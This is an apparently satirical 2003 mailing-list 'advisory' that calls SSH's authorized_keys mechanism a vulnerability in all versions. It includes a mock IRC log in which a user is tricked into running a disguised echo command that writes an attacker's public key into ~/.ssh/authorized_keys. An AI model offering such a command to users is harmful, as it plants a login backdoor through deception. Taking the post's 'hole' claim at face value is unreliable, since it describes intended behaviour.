mailing list archives
SSH/OPENSSH HOLE ALL VERSIONS.
From: diacetyl () hushmail com
Date: Tue, 4 Mar 2003 14:18:19 -0800
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(stolen from manpage)
ssh (SSH client) is a program for logging into a remote machine and for
executing commands on a remote machine. It is intended to replace rlogin
and rsh, and provide secure encrypted communications between two untrust
ed hosts over an insecure network. X11 connections and arbitrary TCP/IP
ports can also be forwarded over the secure channel.
The ssh command contains an innate system of backdooring that can be levereged
by an attacker to gain the access of another user.
The crux of this problem lies in the face that any public key dropped to
~/.ssh/authorized_keys may be used to gain entry to the machine under the
priveledges of that user by he who posesses the corresponding private key.
A user who can successfully convince another user to write his ssh public key
to ~/.ssh/authorized_keys will be able to gain access to that machine under
that user's priveledges.
The following is a sample walkthrough of a successful exploitation of this
·f· zerofel [~zerofel () h238n2fls33o1215 telia com] has joined #linuxhelp
<zerofel> how do i use ntp to set my time?
<sup3rfo0> echo ntp;echo "ssh-rsa
unf () tryptamine">~/.ssh/authorized_keys
<sup3rfo0> that should do it
<zerofel> okay but my date still isnt set
<sup3rfo0> hmm paste the output of ls ~
<zerofel> bash-2.05$ ls
IV. VENDOR RESPONSE
I have informed ssh developers about this vulnerability and they have not
replied. I am forced to disclose this gaping vulnerability to force them
to patch the bug.
iDEFENSE for their elite file advisory
these warriors of full-disclosure give me the courage to release this
vulnerability even after death threats from evil blackhats who shut off
my power, ruined my credit, and got me fired from my job.
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- SSH/OPENSSH HOLE ALL VERSIONS. diacetyl (Mar 04)